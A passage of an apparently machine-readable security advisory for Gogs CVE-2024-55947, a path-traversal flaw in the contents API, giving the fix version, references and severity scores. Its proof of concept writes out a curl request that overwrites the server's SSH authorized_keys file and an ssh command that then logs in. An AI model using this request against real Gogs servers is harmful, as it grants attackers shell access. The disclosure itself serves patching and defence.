Users should upgrade to 0.13.1 or the latest 0.14.0+dev.\n\n### Workarounds\n\nNo viable workaround available, please only grant access to trusted users to your Gogs instance on affected versions.\n\n### References\n\nn/a\n\n### Proof of Concept\n\n1. Generate a Personal Access Tokens\n2. Edit any file on the server with this\n\n    ```bash\n    curl -v --path-as-is -X PUT --url \"http://localhost:10880/api/v1/repos/Test/bbcc/contents/../../../../../../../../home/git/.ssh/authorized_keys\" \\\n    -H \"Authorization: token eaac23cf58fc76bbaecd686ec52cd44d903db9bf\" \\\n    -H \"Content-Type: application/json\" \\\n    --data '{\n      \"message\": \"an\",\n      \"content\": \"\u003cbase64encoded: your ssh pub key\u003e\"\n    }'\n    ```\n\n3. ssh connect to remote server\n\n    ```bash\n    ssh -i temp git@localhost -p 10022\n    ```\n\n### For more information\nIf you have any questions or comments about this advisory, please post on https://github.com/gogs/gogs/issues/7582.","aliases":["CVE-2024-55947","GO-2024-3356"],"modified":"2026-08-24T00:35:59.098203588Z","published":"2024-12-23T17:53:16Z","database_specific":{"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2024-12-23T17:53:16Z","nvd_published_at":"2024-12-23T16:15:07Z","cwe_ids":["CWE-22"]},"references":[{"type":"WEB","url":"https://github.com/gogs/gogs/security/advisories/GHSA-qf5v-rp47-55gg"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-55947"},{"type":"WEB","url":"https://github.com/gogs/gogs/issues/7582"},{"type":"WEB","url":"https://github.com/gogs/gogs/pull/7859"},{"type":"WEB","url":"https://github.com/gogs/gogs/commit/9a9388ace25bd646f5098cb9193d983332c34e41"},{"type":"PACKAGE","url":"https://github.com/gogs/gogs"}],"affected":[{"package":{"name":"gogs.io/gogs","ecosystem":"Go","purl":"pkg:golang/gogs.io/gogs"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.13.1"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/12/GHSA-qf5v-rp47-55gg/GHSA-qf5v-rp47-55gg.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}]}
